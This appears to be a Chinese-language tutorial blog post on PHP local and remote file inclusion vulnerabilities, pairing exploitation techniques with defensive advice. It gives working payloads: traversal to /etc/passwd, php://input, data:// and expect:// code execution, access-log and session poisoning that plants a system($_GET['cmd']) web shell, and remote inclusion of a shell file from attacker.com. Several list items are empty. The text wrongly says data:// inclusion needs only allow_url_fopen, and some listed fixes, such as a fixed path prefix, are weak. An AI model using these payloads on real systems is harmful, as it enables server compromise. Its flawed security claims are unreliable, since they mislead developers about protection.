作为一名长期从事网络安全研究的技术人员,我深知文件包含漏洞在实际渗透测试中的重要性。今天我将结合多年实战经验,系统性地剖析文件包含漏洞的原理、利用方式及防御策略。
文件包含漏洞的本质在于程序动态加载文件时未对用户输入进行严格过滤,导致攻击者能够通过控制文件路径参数来执行任意代码。这种漏洞在PHP应用中尤为常见,但不仅限于PHP环境。
文件包含漏洞主要分为两种类型:
这两种类型的根本区别在于包含的文件来源不同,但攻击原理相似。当应用程序使用类似以下的危险代码时,就可能存在文件包含漏洞:
php复制<?php
$file = $_GET['file'];
include($file);
?>
这段代码直接使用用户输入的file参数作为包含文件的路径,没有任何过滤措施,是典型的存在漏洞的代码。
理解文件包含漏洞的关键在于明白被包含的文件是如何被解析的。很多人误以为包含的文件会按照其扩展名对应的方式解析,实际上:
被包含的文件始终使用当前脚本的语言解析器进行解析。也就是说,如果主文件是PHP脚本,那么无论包含的是.txt、.log还是其他扩展名的文件,都会使用PHP解析器来解析。
这个特性正是文件包含漏洞能够执行任意代码的基础。例如包含一个日志文件时,如果日志中包含PHP代码,这些代码也会被执行。
本地文件包含是最常见的文件包含漏洞形式,攻击者通过包含服务器上的已有文件来实现攻击目的。下面详细介绍几种典型的利用方式。
最基本的利用方式是直接包含服务器上的敏感文件,如:
code复制http://example.com/index.php?file=../../../../etc/passwd
这种利用方式可以读取服务器上的敏感文件,但无法直接执行代码。要实现代码执行,需要结合其他技术。
如果有文件上传功能,攻击流程如下:
关键点在于上传的文件需要能够被访问到,并且知道其存储路径。很多CMS系统上传文件后会返回文件路径,或者使用可预测的命名规则。
PHP提供了多种伪协议,可以在没有文件上传的情况下实现代码执行:
php://input:允许读取POST数据作为文件内容
code复制POST /index.php?file=php://input HTTP/1.1
...
<?php system('id'); ?>
data://:直接在URL中包含Base64编码的代码
code复制http://example.com/index.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
expect://:执行系统命令(需要安装expect扩展)
code复制http://example.com/index.php?file=expect://ls
这些伪协议的利用条件各不相同,需要根据目标环境进行测试。
这是一种非常实用的技术,利用步骤如下:
code复制GET / HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>
code复制http://example.com/index.php?file=/var/log/apache2/access.log&cmd=id
这种方法的关键在于知道日志文件的确切位置,并且有读取权限。
PHP的session机制也可以被利用:
code复制POST /index.php HTTP/1.1
Cookie: PHPSESSID=malicious
...
<?php system('id'); ?>
code复制http://example.com/index.php?file=/tmp/sess_malicious
这种方法需要知道session存储路径(默认在/tmp)和session ID。
远程文件包含比本地文件包含危害更大,但利用条件也更严格。RFI需要满足以下两个PHP配置同时开启:
最简单的RFI利用方式是直接包含远程服务器上的恶意文件:
code复制http://example.com/index.php?file=http://attacker.com/shell.txt
其中shell.txt内容为PHP代码。这种方式的限制是远程文件必须以合适的PHP标签开头,因为包含的内容会直接插入到当前脚本中执行。
与LFI类似,RFI也可以结合伪协议使用:
code复制http://example.com/index.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
这种利用方式不需要allow_url_include,只需要allow_url_fopen开启即可。
当直接HTTP包含被拦截时,可以尝试使用FTP协议:
code复制http://example.com/index.php?file=ftp://attacker.com/shell.txt
这种方式有时能绕过一些简单的过滤规则。
白名单过滤:只允许包含指定的文件
php复制$allowed = ['page1.php', 'page2.php'];
if(in_array($_GET['file'], $allowed)) {
include($_GET['file']);
}
硬编码前缀:固定包含文件的前缀路径
php复制include('./pages/' . $_GET['file']);
禁用危险函数:在php.ini中设置
code复制allow_url_fopen = Off
allow_url_include = Off
文件扩展名检查:确保包含的文件有正确的扩展名
php复制$file = $_GET['file'] . '.php';
使用basename函数:防止目录遍历
php复制include(basename($_GET['file']));
包含文件没有执行:
路径问题:
伪协议不工作:
绕过过滤的技巧:
结合其他漏洞:
利用PHP流过滤器:
code复制php://filter/convert.base64-encode/resource=index.php
这种技巧可以用来读取PHP文件源码而不执行它
在实际渗透测试中,文件包含漏洞往往不是独立存在的,与其他漏洞结合利用能达到更好的效果。比如先通过文件包含读取配置文件获取数据库凭证,再通过SQL注入进一步获取系统权限。
要彻底防范文件包含漏洞,需要在开发全生命周期中采取综合措施:
安全编码规范:
服务器加固:
持续监控:
安全测试:
文件包含漏洞看似简单,但要完全防御却需要系统性的安全措施。作为开发人员,应该从根本上避免危险的包含方式;作为安全人员,则需要掌握各种利用技巧以便更好地发现和修复漏洞。